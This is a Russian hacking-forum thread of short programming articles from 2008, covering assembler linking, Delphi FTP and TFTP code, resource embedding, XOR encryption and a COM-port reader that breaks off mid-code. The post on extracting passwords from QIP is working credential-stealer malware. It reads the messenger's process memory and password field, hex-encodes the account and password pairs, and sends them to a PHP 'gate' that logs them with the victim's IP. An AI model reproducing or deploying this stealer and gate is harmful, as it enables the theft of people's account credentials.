Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

06.05.2008, 00:54
|
|
Banned
Регистрация: 06.01.2008
Сообщений: 904
Провел на форуме: 4037638
Репутация:
1821
|
|
мини СТАТЬИ
--=Здесь размещаем статьи по данной тематике=--
***
Правила топика:
1)Обсуждения не здесь, не будем засорять тему...
2)Запрещено размещать чужие статьи,пишем свои...(В том числе изменять чужие, и размещать измененные)
3)Все исходные коды обязательно должны помещаться в теги [code.]...
4)Копировать сюда свои работы, уже опубликованные в разделе СТАТЬИ - запрещено...
5)Пишем все на русском языке(в том числе //комментарии)
6)Вся статья должна вмещаться в один пост...
7)Не забывайте, что главная тема:Безопасность WEB - интерфейсов(Информационна безопасность), статьи должны быть по этим темам...
8)Правила будут пополняться со временем...
И помните красивое оформление у нас только приветствуется
Статьи не соответствующие правилам будут удаляться...
Хорошие статьи будут поощряться(Каждому +)
(c) De-visible
============================
Все возникшие вопросы в ЛИЧКУ!
Последний раз редактировалось De-visible; 27.09.2008 в 19:36..
|
|
|

06.05.2008, 00:55
|
|
Banned
Регистрация: 06.01.2008
Сообщений: 904
Провел на форуме: 4037638
Репутация:
1821
|
|
Карта статей:
1. Assembler. Создание программы путем объединения объектных модулей и библиотек
Автор:Dober'man
2. FTP - сервер. "Мини статья" о том как создать простейший FTP-сервер (для новичков)
Автор:Dober'man
3. RST киллер или все через "призму" WinPCap
Автор:Delimiter
4. Получение *.RES файла. Добавление в него *.EXE, *.DLL файлов, с последующим извлечением на DELPHI 7.
Автор:Dr.KoD
5. Assembler. Простейший алгоритм шифрования строк (для новичков)
Автор:Dober'man
6. DELPHI. Пишем FTP клиент на Delphi с помощью WinSock API.
Автор:Dr.KoD
7. Assembler Выдирание пароля из QIP
Автор:slesh
Последний раз редактировалось De-visible; 29.05.2008 в 10:19..
|
|
|

07.05.2008, 17:44
|
|
Banned
Регистрация: 16.07.2007
Сообщений: 79
Провел на форуме: 801879
Репутация:
337
|
|
Assembler Создание программы путем объединения объектных модулей и библиотек by Doberman
с краткими пояснениями...
Код:
; модуль prog.asm (главный, именно он содержит метку START,
; с которой начнется выполнение программы )
.586P
; плоская модель памяти
.MODEL FLAT, STDCALL
;-------------------------------------------------
; объявление внешней переменной и процедур
EXTERN L:DWORD
EXTERN PROC1@0:NEAR
EXTERN PROC2@0:NEAR
EXTERN PROC3@0NEAR
INCLUDELIB MASM.LIB
; сегмент данных
DATA SEGMENT
; здесь будут располагаться переменные
DATA ENDS
; сегмент кода
DATA SEGMENT
; здесь будет располагаться ассемблерный код проги
START:
MOV L, 256
CALL PROC1@0
PUSH EAX
CALL PROC2@0
PUSH EAX
PUSH EAX
CALL PROC3@0
RET
TEXT ENDS
END START
; модуль prog1.asm
.586P
; плоская модель памяти
.MODEL FLAT, STDCALL
PUBLIC PROC1, L
;-----------------------------------------------
; сегмент данных
DATA SEGMENT
; здесь будут располагаться переменные
L DWORD ?
DATA ENDS
; сегмент кода
TEXT SEGMENT
PROC1 PROC
MOV EAX,L
RET
PROC1 ENDP
TEXT ENDS
END
; модуль prog2.asm
.586P
; плоская модель памяти
.MODEL FLAT, STDCALL
;------------------------------------------------
; сегиент кода
TEXT SEGMENT
PROC2 PROC
PUSH EBP
MOV EBP,ESP
MOV EAX,DWORD PTR [EBP+8]
ADD EAX,100
MOV ESP,EBP
POP EBP
RET 4
PROC2 ENDP
TEXT ENDS
END
; модуль prog2.asm
.586P
; плоская модель памяти
.MODEL FLAT, STDCALL
;-----------------------------------------------
PUBLIC PROC3
; сегмент кода
TEXT SEGMENT
PROC3 PROC
PUSH EBP
MOV EBP,ESP
MOV EAX,DWORD PTR [EBP+8]
ADD EAX,DWORD PTR [EBP+12]
MOV ESP,EBP
RET 8
PROC3 ENDP
TEXT ENDS
END
Для того чтобы из модулей получить программу, следует выполнить такие команды:
Код:
ML /m /coff prog.asm
- в результате будет создан объектный модуль prog.obj
Код:
ML /m /coff prog1.asm
- prog1.obj
Код:
ML /m /coff prog2.asm
- prog2.obj
Код:
ML /m /coff prog3.asm
- prog3.obj
Код:
LINK -LIB prog3.obj /out:masm.lib
- в результате будет создана объектная библиотека masm.lib
Код:
LINK /subsystem:console prog.obj prog1.obj prog2.obj
- в результате компоновки будет создан исполняемый модуль prog.exe
Модули prog1.asm и prog2.asm должны быть преобразованы к объектному виду, а потом скомпонованы в prog.obj. Модуль prog3.obj после преобразования его к объектному виду помещается в объектную библиотеку, которая затем используется при компоновке, благодаря директиве INCLUDEDIR в тексте prog.asm.
Последний раз редактировалось Dober'man; 07.05.2008 в 23:12..
|
|
|

07.05.2008, 23:08
|
|
Banned
Регистрация: 16.07.2007
Сообщений: 79
Провел на форуме: 801879
Репутация:
337
|
|
FTP-сервер
"Мини статья" о том как создать простейший FTP-сервер (для новичков) by Doberman
Наш FTP-сервер будет работать по TFTP протоколу( TrivialFTP).
Первым делом разместим на форме компонент TIdTrivialFTPServer (со вкладки Indy Servers) хранящий в себе всю базовую функциональность FTP-сервера. Порт используемый протоколом TFTP по умолчанию, - 69. Свойство BufferSize определяет значение буфера.
Перевод FTP-сервера в активное состояние осуществляется в момент создания формы:
Код:
procedure TForm1.FormCreate(Sender: TObject);
begin
IdTrivialFTPServer1.Active := true;
end;
При обращении к серверу с запросом о передаче или приеме файла генерируется сообщение OnReadFile или OnWriteFile. В обоих случаюх понадобится записать всего по одному оператору, присваивающему параметру этого обработчика AStream (тип TStream) соответствующее значение файлового потока. Такой поток либо открывается для чтения, либо этот файл создается на компе, а его содержимое принимается из сети:
Код:
procedure TForm1.IdTrivialFTPServer1ReadFile(Sender: TObject;
var FileName: String; const PeerInfo: TPeerInfo;
var GrantAccess: Boolean; var AStream: TStream;
var FreeStreamOnComplete: Boolean);
begin
AStream := TFileStream.Create(FileName, fmOpenRead);
end;
procedure TForm1.IdTrivialFTPServer1WriteFile(Sender: TObject;
var FileName: String; const PeerInfo: TPeerInfo;
var GrantAccess: Boolean; var AStream: TStream;
var FreeStreamOnComplete: Boolean);
begin
AStream := TFileStream.Create(FileName, fmCreate);
end;
В качестве FTP-клиента возьмем готовый пример из /Demos/Indy/TrivialFTPClient. В нем используем компонент TIdTrivialFTP, представляющий собой клиентскую FTP-программу.
Загрузка файла с сервера и передача его серверу происходит в результате нажатия кнопок btnDownload и btnUpload. Весь процесс приема и передачи файлов выполняется автоматически с помощью двух методов Get и Put компонента TIdTrivialFTP:
Код:
procedure Get(const ASourceFile: string; ADest: TStream);
procedure Put(const ASource: TStream; const ADestFile: string; const AAppend: Boolean);
ASourceFile - название файла, расположенного на удаленном FTP-сервере.
ADest - название локального файла.
AAppend - принимает true, если происходит запись в конец уже существующего файла.
Может кто-то и скажет, что таких в сети немерено (баян)....но я старался пояснить код когда писал его =)
Последний раз редактировалось Dober'man; 07.05.2008 в 23:18..
|
|
|

09.05.2008, 16:23
|
|
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме: 140772
Репутация:
72
|
|
ПОЛУЧЕНИЕ *.RES ФАЙЛА, ДОБАВЛЕНИЕ В НЕГО *.EXE, *.DLL ФАЙЛОВ, С ПОСЛЕДУЮЩИМ ИЗВЕЛЕЧЕНИЕМ НА DELPHI 7.
Не судите строго это моя 1 статья и расчитана она на начинающих кодеров. Ну чтож начнем.
Для начала создайте папку и разместите в ней следующие файлы:
1. brcc32.exe (берем этот файл в этой папке D:\Program Files\Borland\Delphi7\Bin);
2. Создаем файл primer.rc, в котором мы укажем какие файлы мы будем добавлять в файл res;
3. Создаем compile.bat им мы будим собирать наш res файл;
4. Ну и естественно тот файл, который мы будем помещать в ресурсы,( у меня ResFile.exe).
Все с великим копи пастом мы закончили, теперь поработаем чуток клавой.
Для начала откроем файл primer.rc блокнотом и запишем в нем следующую строку:
"ResFile EXEFILE ResFile.exe"( без кавычек естесно).
Теперь объясню что тут к чему:
1. ResFile - это имя нашего ресурса в res файле, к которому мы будем обращаться и в котором хранится наш файл;
2. EXEFILE - тип файла(папка в файле *.res), он ни на что не влияет и служит для удобства поиска данных в фале ресурсов, чаще всего его имя соответствует типу находящихся в нем данных, но может быть и любым другим;
3. ResFile.exe - это файл, который мы добавляем в файл ресурсов.
Закрываем и сохраняем файл primer.rc.
Теперь откроем compile.bat(тож блокнотом) и пишем тауую строчку:
"brcc32 primer.rc"
Этой командой мы получим файл primer.res после запуска compile.bat.
Сохраняем и закрываем compile.bat, запустите, в папке вы должны увидеть primer.res.
Теперь переходим к кодингу, запускаем Delphi создаем новый проект и пишем следующий код:
Код:
implementation
{$R *.dfm}
{$R primer.RES} //наш файл с ресурсами
function ExtractResFile(ResType, ResName, ExeFileName:string): Boolean; // данная функция будет извлекать из primer.RES наш exe файл
var
Res: TResourceStream; // переменная для доступа к ресурсам
begin
Res := TResourceStream.Create(Hinstance, ResName, PChar(ResType)); // получаем доступ к ресурсам, загружаем
try
Res.SavetoFile(ExeFileName); // и сохраняем их в файл
Result := True;
finally
Res.Free; // освобождаем
end;
end;
Теперь кинем на форму Button1 и пишем в ней следующий код:
Код:
procedure TForm1.BitBtn1Click(Sender: TObject);
var
FileName:string; // переменная, в которой будет храниться имя конечного файла.
begin
FileName:='ResFile.exe';//имя файла
ExtractResFile('EXEFILE', 'ResFile', FileName ); //извлекаем файл ResFile.exe
end;
Для проведения таких же манипуляций с *.dll или с любым другим файлом, можно использовать этот же код, только в место ехе файла подставите свою dll.
Если вы захотите разместить несколько файлов в одном файле ресурсов, то для доступа к ним потребуется использовать разные TResourceStream, но это если вы захотите получить доступ к нескольким файлам ресурса в рамках одной процедуры или функции.
|
|
|

15.05.2008, 22:59
|
|
Banned
Регистрация: 16.07.2007
Сообщений: 79
Провел на форуме: 801879
Репутация:
337
|
|
Assembler
Простейший алгоритм шифрования строк (для новичков) Тут же добавлю: усложняется знаниями асма (небольшими) и математики...
by Doberman
Немного теории...
Многие кодеры знают об уникальном свойстве реверсивности команды XOR:
если её выполнить дважды с одним и тем же операндом, то значение результата инвертируется.
А это значит, что мы можем воспользоваться свойством реверсивности операции
исключающего ИЛИ для выполнения простого шифрования данных.
В процессе шифрования исходная строка, введенная пользователем с клавиатуры,
преобразовывается в непонятный набор байтов с помощью другой строки, называемой ключом.
Зашифрованный текст можно сохранять или передавать адресату, не опасаясь, что кто-то сможет её прочитать.
Получив зашифрованный текст, авторизованный пользователь после дешифрования сможет прочесть первоначальный текст.
Ну с этим пока все просто... =)
Начнем...
Я приведу пример программы использующей метод симметричного шифрования,
т.е. для шифрования и расшифровки используется один и тот же ключ.
Опишу АЛГОРИТМ ПРОГРАММЫ:
* С клавиатуры вводится исходное сообщение.
* Программа в цикле выполняет шифрование каждого байта исходной строки.
___ с помощью одного и того же ключа, размером в один символ.
___ В результате получается зашифрованное. сообщение.
* Программа выполняет расшифровку сообщения и отображает расшифрованное.
Ну и собственно сама программа...
************************************************** *********************************************
Код:
TITLE Программа шифрования (Encrypt.asm)
Задаем значение ключа (от 1 до 255)
и максимальный размер буфера
Код:
INCLUDE Irvine32.inc
KEY = 239
BUFMAX = 128
Код:
.data
sPrompt BYTE "Введите исходное сообщение: ",0
sEncrypt BYTE "Зашифрованный текст: ",0
sDecrypt BYTE "Расшифрованный текст ",0
buffer BYTE BUFMAX dup(0)
bufSize DWORD ?
- вводим исходную строку
- зашифровываем
- отображаем
- расшифровываем
- отображаем
Код:
.code
main PROC
call InputTheString
call TranslateBuffer
mov edx, OFFSET sEncrypt
call DisplayMessage
call TranslateBuffer
mov edx, OFFSET sDecrypt
call DisplayMessage
exit
main ENDP
- выводим приглашение на ввод строки с клавиатуры.
- сохраняем строку и ее длину в соответствующих переменных
Код:
pushad
mov edx, OFFSET buffer
call WriteString
mov ecx, BUFMAN
mov edx, OFFSET buffer
call ReadString
mov bufsize, eax
call CrLf
popad
ret
InputTheString ENDP
- выводим на экран зашифр.- и расшифр.- ованную строки
Код:
pushad
call WriteString
mov edx, OFFSET buffer
call WriteString
call CrLf
call CrLf
popad
ret
DisplayMessage ENDP
Код:
TranslateBuffer PROC
- преобразуем строку, выполнив операцию ИСКЛЮЧАЮЩЕГО ИЛИ каждого байта
с обним и тем же целым числом, т.е. ключом
Код:
pushad
mov ecx, bufSize
mov esi, 0
L1:
xor buffer[esi], KEY
inc esi
loop L1
popad
ret
TranslateBuffer ENDP
END main
************************************************** *********************************************
|
|
|

23.05.2008, 12:24
|
|
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме: 140772
Репутация:
72
|
|
Пишем FTP клиент на Delphi с помощью WinSock API. Часть 1
Наконец то у меня дошли руки чтобы написать эту статью, вернее одну из ее частей( будет 2 или 3 части). Думаю данная тема будет интересна многим людям, т.к. информации о написании фтп клиента с использованием WinSock API практически нет(ну а если есть у кого какие ссылки по этому вопросу скиньте в личку), и когда начинающие кодеры задают вопрос на эту тему их практически всегда посылают читать протокол фтп(RFC 959) ну или советуют пользоваться WinInet или индейцами.
Свою статью я не на целиваю на новичков в программировании, вы должны знать хотябы основы WinSock API и иметь навыки программирования в Delphi.
Для начала я вам советую почитать о FTP протоколе, вот несколько сайтов где вы можете получить некоторую информацию:
http://book.itep.ru/4/45/ftp_454.htm
http://athena.vvsu.ru/docs/tcpip/rfc/rfc959.txt
http://sources.ru/protocols/ftp_learning.shtml
http://www.soslan.ru/tcp/tcp27.html
В 1 Части мы реализуем следующие функции нашего фтп клиента:
1. Создадим соединение с фтп сервером;
2. Напишем процедуру отправки команд FTP серверу;
3. Научимся получать ответы от него.
Ну чтож приступим:
Создайте новый роект, для удобства мы будем использовать VCL(он нам нужен будет для интерфейса), чтобы мы могли непосредственно заниматься написанием кода фтп клиента, а не заниматься еще и кодингом формы и остальной байды. В последствии вы сможете без труда перенести все функции в любое свое приложение.
Для начала после uses зададим константу:
Код:
const
WM_MYSOCKMESS = WM_USER+1;
и объявим следующие переменные:
Код:
var
Form1: TForm1;
WSADt:TWSADATA;
ClSocket:TSocket;//Сокет для соединения клиента с сервером
ClAddr:sockaddr_in;//Структура sockaddr_in, которая содержит днные для соединения с фтп сервером(семейство протоколов, адрес, порт)
TempSock:TSocket;//Сокет передачи данных
Для того чтобы нам работать с библиотекой WinSock нам ее нужно для начала инициализировать, для этого щелкаем по форме и пишем следующий код в событии OnCreate:
Код:
if WSAStartup(MAKEWORD(1,1), WSADt)<>0 then //инициализируем WinSock
begin
ShowMessage('Ошибка иеициализации WinSock'); //Выводим сообщение если неудалось инициализировать WinSock и
Application.Terminate; //Убиваем нашу прогу
end;
Первое, что нам понадобиться это написать процедуру, которая будет отправлять команды ftp серверу, она будет востребована практически во всех функциях и процедурах отвечающих за прием и получение данных, а также выполнение каких либо действий на ftp сервере:
Код:
procedure TForm1.SendCommandFtpSrv(s: TSocket; command:string); // s- сокет для отправки данных, command - команды фтп
var //сервера(о них более подробно вы можете прочитать в описании протокола фтп RFC 959)
buff: array [0..1024] of Char;
begin
command:=command+#13#10; //Добавим к строке FTP команды символы конца строки и перевода каретки
CopyMemory(@buff, pchar(command), length(command)); //Копируем в buff данные
if send(s, buff, length(command),0)=SOCKET_ERROR then //попытаемся отправить данные
begin
Exit; //и при неудаче выйдем
end;
end;
Теперь мы перейдем к написанию процедуры с помощью, которой мы будем подключаться к ftp серверу, тут все просто до безобразия:
Код:
procedure TForm1.ConnectFTP(ftpsrv, port, usern, //ftpsrv - адрес сервера, port -порт,usern- логин,
userp: string); //userps- пароль
begin
ClSocket:=SOCKET(AF_INET, SOCK_STREAM, IPPROTO_IP); // создаем сокет
if ClSocket=INVALID_SOCKET then // При возникновении ошибки
begin
Exit; // Выйдем из процедуры
end;
ClAddr.sin_family:=AF_INET; //Указываем протокол
ClAddr.sin_addr.S_addr:=inet_addr(pchar(ftpsrv));//Указываем адрес удаленного сервера
ClAddr.sin_port:=htons(StrToInt(port));//Указываем порт
WSAAsyncSelect(ClSocket, handle, WM_MYSOCKMESS, FD_READ); // Переводим сокет в асинхронный режим. Устанавливаем наблюдение за прибытием данных(FD_READ)
Connect(ClSocket, ClAddr, sizeof(ClAddr)); //устанавливаем соединение
Sleep(100); // установим задержку
SendCommandFtpSrv(ClSocket, 'USER '+usern); //Отправим логин
SendCommandFtpSrv(ClSocket, 'PASS '+userp); //отправим пароль
SendCommandFtpSrv(ClSocket, 'FEAT');
end;
Для того, что бы нам быть в курсе как происходит "общение" с ftp сервером, т.е. получать ответы и выводить их на экран, это нам нужно прежде всего для того чтобы в случае неправильной команды или неправильного выполненного какого либо действия, мы могли видеть, что именно ненравится серверу и устранить проблему. Для этого напишем процедуру получения данных от сервера, разместим на форме RichEdit он нам понадобится для отображения ответов и перейдем к выполнению поставленной задачи:
Код:
procedure TForm1.RecvS(sock: TSocket);
var
bsrv:array[0..5000] of char;// переменные для хранения данных
strcl:string; //-----//-----
begin
Fillchar(bsrv, sizeof(bsrv), 0);//Очищаем буфер
if recv(sock, bsrv, sizeof(bsrv), 0)=SOCKET_ERROR then //Делаем попытку получить данные
begin
Exit; // если попытка неудачна, то выходим из процедуры
end;
strcl:=bsrv; //Пришедщие в bsrv скопируем в strcl
if pos('221', strcl)>0 then //Проверяем ответы пришедшие с сервера
begin
ShutDown(sock, SD_BOTH); //Сообщим о прекращении соединения
CloseSocket(sock); //Закрываем сокет
end;
{тут мы просто пишем код, который отображает полученные данные в RichEdit :) }
while pos(#13, strcl)>0 do
begin
RichEdit1.Lines.Add(copy(strcl, 1, pos(#13, strcl)));
Delete(strcl, 1, pos(#13, strcl)+1);
end;
end;
Может показаться, что все уже готово, но если мы соберем в кучу весь код мы не увидим в RichEdit ничего,что свидетельствовало о том, что мы подключились к серверу, хотя мы к нему и подключились, но почему же тогда мы не видим приходящих ответов от сервера, для этих целей нам нужно написать процедуру перехватывающую сообщения WM_MYSOCKMESS, они появляются тогда, когда на определенном сокете возникают какие либо события:
Код:
procedure TForm1.MSGSocket(var Mess: TMessage);
begin
case Mess.LParam of
FD_ACCEPT:
begin
TempSock:=accept(Mess.WParam, nil, nil); //Для получения данных, мы переводим socket в асинхронный режим и устанавливаем
WSAAsyncSelect(TempSock, handle, WM_MYSOCKMESS, FD_READ+FD_CLOSE);//наблюдение за событиями и FD_CLOSE(когда мы отрубаемся от сервака)
end;
FD_READ: RecvS(Mess.WParam); //Данные мы получим с помощью описанной выше процедуры RecvS
FD_CLOSE: CloseSocket(Mess.WParam); //Закроем сокет при отключении клиента
end;
end;
Переходим к завершающему этапу кодинга, разместим на форме 2 кнопкb и в событии OnClick:
в 1 кнопке пишем:
Код:
ConnectFTP('ххх.ххх.ххх.ххх','21','login','pass');
Во 2 кнопке:
Код:
SendCommandFtpSrv( ClSocket, 'QUIT'); //Эта команда говорит о завершении соединения клиента с сервером
Для того, чтобы не возникли лишние вопросы, расскажу как все это собрать. После слова private
перечислите названия всех используемых процедур(думаю все знают как это делать, ну а не знаете это уже ваши проблемы), которые мы написали, но даже после этого вы скажете, что код нефига не пашет, поэтому отвечу сразу на этот вопрос процедура MSGSocket после слова private будет иметь следующий вид:
Код:
procedure MSGSocket(var Mess: TMessage); message WM_MYSOCKMESS;
На сим 1 часть статьи о написании Ftp клиента я завершаю.
P.S. О чем я напишу во 2 и 3 частях:
Ну тут будет пожалуй самое интересное, такое как загрузка файлов на фтп сервер, скачивание файлов, переход по папкам, удаление файлов, кароче постепенно я постараюсь выложить достаточно приличный фтп клиент.
-------------------------
De-V: СТАТЬЯ В КОНКУРСЕ
Последний раз редактировалось De-visible; 27.05.2008 в 18:35..
|
|
|

28.05.2008, 16:55
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
Выдирание пароля из Qip
Выдирание пароля из QIP Методы:
1. Напрямую копирование из памяти
2. Чтение из поля ввода пароля
Алгоритм работы:
1. Нам необходимо получить привелегии отладчика чтобы 100% иметь доступ на чтение памяти другова процесса. Это реализуем следующим образом:
Код:
proc SetDBG
push ebp
mov ebp,esp ; сохраним значение стека
sub esp,24h ; выделим место в стеке под переменные
invoke OpenProcessToken, -1, 28h, esp
test eax,eax
jz @F
lea eax, [esp+8]
invoke LookupPrivilegeValue, 0,SeDebugPrivilege, eax ;
test eax,eax
jz @F
mov dword [esp+14h],1
mov eax, [esp+8]
mov [esp+18h], eax
mov eax, [esp+0Ch]
mov [esp+1Ch], eax
mov dword [esp+20h], 2
lea eax, [esp+10h]
push eax
lea eax, [esp+18h]
push eax
push 10h
lea eax, [esp+20h]
push eax
push 0
mov eax, [esp+14h]
push eax
call [AdjustTokenPrivileges] ; установка привелегии
@@:
leave
ret
endp
2. Чтение пароля из памяти QIP
Код:
proc QIP_MEM
invoke FindWindow,TMainForm,0 ; ищем окно QIP
QIP_MEM_next:
test eax,eax
mov [h],eax ; сохраним handle
jz QIP_MEM_exit
invoke GetWindowText,eax,buf,20 ; считаем заголовок окна
cmp dword [buf],'[qip' ; проверим правильность
jne QIP_MEM_next1
invoke GetWindowThreadProcessId,[h],PID ; получим PID процесса по handle окна
stdcall AddToBuf,buf+8 ; добавим к посылаемому буферу часть заголовка окна, котоаря содержит UIN
stdcall AddToBuf,dvoetochie ; разделитель
stdcall GetPas,[PID] ; непосредственно получение пароля зная PID
stdcall AddToBuf,buf ; закинем в буфер полученный пароль
stdcall AddToBuf,tzap ; разделитель записей
QIP_MEM_next1:
invoke GetWindow,[h],2 ; ищем следующее окно аськи. т.е. копий может быть много
jmp QIP_MEM_next
QIP_MEM_exit:
ret
endp
Теперь разберем непосредственно функцию чтения пароля из памяти:
Код:
proc GetPas,PID
stdcall GetFileVer,[PID] ; для начала получаем версию файла
xor ecx,ecx
dec ecx
GetPas_m1:
inc ecx
cmp ecx,8
je GetPas_exit
cmp eax,[VER_MAS+ecx*4] ; сверяем версию файла с поддерживаемой версией
jne GetPas_m1
; nтепер мы знаем offset по которому лежит пас.
stdcall ReadData,[PID],[ADR_MAS+ecx*4] читаем пас
GetPas_exit:
ret
endp
Таблица соотношения версии файла и offseta:
VER_MAS dd 07090801h,07090900h,07090905h,07090907h,07090908h, 08000000h,08000100h,08000200h
ADR_MAS dd 0068128Ch,006862B4h,0068B2D0h,006962ECh,0069574Ch, 006972ECh,0069F580h,0069F57Ch
Для определения версии файла используем функцию:
Код:
proc GetFileVer,PID
invoke CreateToolhelp32Snapshot,0000000Fh, [PID] ; получим инфу о модулях процесса аськи
test eax,eax
jz GetFileVer_exit
mov [Handle],eax
mov ebx,[MODULEENTRY32]
mov dword [ebx],548
invoke Module32First,eax,ebx ; получим имя первого модуля - это сам файл программы
test eax,eax
jz GetFileVer_exit
invoke CloseHandle,[Handle] ж закрое дискриптор
add ebx,288 ; смещение на имя файла
invoke GetFileVersionInfoSize,ebx, Handle ; получаем размер записи отведенной под инфу о файле
test eax,eax
jz GetFileVer_exit
mov [Size],eax
invoke HeapAlloc,[myheap],0,eax
mov [RezBuffer],eax
invoke GetFileVersionInfo,ebx,Handle, [Size], eax ; получаем инфу о файле
test eax,eax
jz GetFileVer_exit
invoke VerQueryValue,[RezBuffer], slash, FixedFileInfoBuf, Size ; получаем версию файла
test eax,eax
jz GetFileVer_exit
; конвертируем значения в удобный для нас вид
mov ebx,[FixedFileInfoBuf]
mov eax,[ebx+8]
shr eax,16
mov byte [Size+3],al
mov eax,[ebx+8]
mov byte [Size+2],al
mov eax,[ebx+12]
shr eax,16
mov byte [Size+1],al
mov eax,[ebx+12]
mov byte [Size],al
mov eax,[Size]
GetFileVer_exit:
ret
endp
Чтение осуществим следующим образом:
Код:
proc ReadData PID,ADR
invoke OpenProcess,0410h, 0, [PID] ; откроем процесс
test eax,eax
jz ReadData_exit
mov [hp],eax
invoke ReadProcessMemory,eax, [ADR], Size, 4, [t] ; считаем offset на пас
invoke ReadProcessMemory,[hp], [Size], buf, 10, [t] ; считаем пасс
invoke CloseHandle,[hp]
ReadData_exit:
ret
endp
3. Чтение пароля из поля ввода
Код:
proc QIP_WND
invoke FindWindow,TManForm,0 ; найдем окно
cicle2:
test eax,eax
jz QIP_WND_exit
push eax
stdcall QIP_WND_GETPASS,eax ; считаем из него пасс
pop eax
invoke GetWindow,eax,2 ; ищем следующее окно
jmp cicle2
QIP_WND_exit:
ret
endp
Непосредственно процедуру чтения оформим так:
Код:
proc QIP_WND_GETPASS,hManForm
invoke FindWindowEx,[hManForm],0,TGroupBox,0 ; найдем handle TGroupBox этого окна
test eax,eax
jz QIP_WND_GETPASS_exit
push eax
invoke FindWindowEx,eax,0,TComboBox,0 ; в нем найдем cписок UIN
test eax,eax
jz QIP_WND_GETPASS_exit
invoke SendMessage,eax, WM_GETTEXT, 10, buf ; считаем UIN
xor ecx,ecx
cicle: ; отделяем UIN от лишнего текста
cmp ecx,20
je nextt
inc ecx
cmp byte [buf+ecx],' '
jne cicle
mov byte [buf+ecx],0
nextt:
stdcall AddToBuf,buf ; добавим UIN в отправляемому буферу
pop eax
invoke FindWindowEx,eax,0,TEdit,0 ; теперь найдем поле ввода пароля
test eax,eax
jz QIP_WND_GETPASS_exit
invoke SendMessage,eax, WM_GETTEXT, 20, buf ; считаем пароль из него
stdcall AddToBuf,dvoetochie ; разделитель UIN:PASS
stdcall AddToBuf,buf ; добавим к буферу
stdcall AddToBuf,tzap ; конец записи
QIP_WND_GETPASS_exit:
ret
endp
4. Теперь необходимо отправить всю полученную информацию
Код:
invoke lstrlen,[buffer] ; получим длинну наших данных
test eax,eax
jnz dalee
invoke ExitProcess,0 ; если ничего не на собирали то и отправлять не нужно
dalee: ; для удобства отправки переведем полученный буфер в HEX
mov [Size],eax ; размер буфера
shl eax,2 ; умножим на 2. т.к. данных станет в 2 раза больше
invoke HeapAlloc,[myheap],0,eax ; выделим память
invoke lstrcpy,eax,url_start ;закинем в буфер адрес нашего гейта
dec edx
xor ecx,ecx
cicle4: ; преборазование в HEX
mov eax,[buffer]
mov ah,[eax+ecx]
mov al,ah
shr ah,4
and al,0fh
mov ebx,table
xlatb
xchg ah,al
xlatb
mov word [edx+ecx*2],ax
inc ecx
cmp ecx,[Size]
jne cicle4
mov byte [edx+ecx*2],0
sub edx,url_end-url_start ; вернемся к началу буфера
invoke URLDownloadToFile,0,edx,TEdit,0,0 ; сделаем запрос на скачевание файла в котором передадим собранные данные.
invoke ExitProcess,0
Функцию добавления в буфер используем для уменьшения размера и вообще для удобства
Код:
proc AddToBuf,add_buf
invoke lstrcat,[buffer],[add_buf]
ret
endp
Данные которые нам понадобятся для осуществления всех операций
Код:
table db '0123456789ABCDEF' ; для конвертирования в HEX
SeDebugPrivilege db 'SeDebugPrivilege',0 ; для получения привелегий отладчика
slash db '\',0
dvoetochie db ':',0 ; разделитель UIN - PASS
tzap db '[-]',0 ; конц пары UIN:PASS
; название компонентов
TGroupBox db 'TGroupBox',0
TComboBox db 'TComboBox',0
TManForm db 'TManForm',0
TMainForm db 'TMainForm',0
TmainFrm db 'TmainFrm',0
TEdit db 'TEdit',0
TprefFrm db 'TprefFrm',0
TPanel db 'TPanel',0
TconnectionFr db 'TconnectionFr',0
url_start db 'http://127.0.0.1/stat.php?data=' ; адрес гейта
url_end db 0
5. Непосредственно сам гейт
Код:
<?
$data=$_GET['data']; // наши данные
$out='';
$f=fopen('ICQ.txt','a+'); // файл куда будем кидать
while ($x<strlen($data)) // конвертим из HEX в нормальный вид
{
$temp=$data[$x].$data[$x+1];
$out.=chr(HexDec($temp));
$x+=2;
}
fputs($f,date("d.m.Y H:i:s").'[-]'.getenv("REMOTE_ADDR").'[-]'.$out."\r\n"); // запишем в файл полученный результат.
fclose($f);
?>
Полный исходный код + поддержка &RC берем от сюда
http://forum.antichat.ru/thread71678.html
-------------------------
De-V: СТАТЬЯ В КОНКУРСЕ
Последний раз редактировалось De-visible; 29.05.2008 в 10:17..
|
|
|

02.07.2008, 19:22
|
|
Познающий
Регистрация: 15.02.2008
Сообщений: 98
Провел на форуме: 183980
Репутация:
50
|
|
Читаем COM-порт в 1C с помощью Delphi .Net Привет всем обитателям сего сайта =) давнеько я уже ничего не писал, вот наконец выдалось свободное время.
В настоящее время широкое изобилее языков программирования и сред разработки просто пугает, и прогер решает чем пользоваться чтоб выполнить ту или иную задачу.
но бывает что возникают ситуёвины когда функциональности языка нехватает для решения задачи, ну не начинать же всё заново в другой среде О_о?
была у мня как то роботёнка: нужно было написать сервис который бы читал память внешнего устройства (подключеного черз COM), и писал данные в БД Access (всё прошло на ура).
Через пол года заказчик обратился ко мне с просьбой переделать сервис так чтобы писал он полученные данные не в Access а в таблицы 1С.
Тут то я и грузанулся как в 1С читать Com порт О_о (сервис я писал на Delphi)? Первое что пришло в голову сделать DLL в которой бы были функции для работы с девайсом, но потом появилась идея лучше На помощь пришла технологи .NET, а именно Web-сервисы созданные на платформа Net.
всё ремя пользовался Delphi 7, но тут никуда не денишся пришлось иди в ногу со временем, вощем установил я себе Borland Developer Studio 2006 (BDS) и в перёд.
Код до его модернизации выглядел приблизительно так:
Код:
type
TRec = record //объекты этого типа нам необходимо будет передават потом в 1С
DT: TDateTime; //время события
ch1: integer; //два свойства события...
ch2: integer;
end;
function GetData(Sector: integer): TRec;
var
FBuf: array [0..7] of byte;
FHandle: DWord;
FCount: cardinal;
FOverlapped: TOverlapped;
....
procedure WriteGetData(SectorNo: word);//отправка команды устройству
begin
FBuf[0] := $01; // команда для чиения данных
FBuf[1] := SectorNo;// в каестве параметра передаём номер сектора
Windows.WriteFile(FHandle, Fbuf, 2, FCount, @FOverlapped); // отправляем команду на ком порт
end;
finction ReadGetData: TRec; //чтение результата с устройства в масив FBuf
var
y, m, d, h, m, s: word;
begin
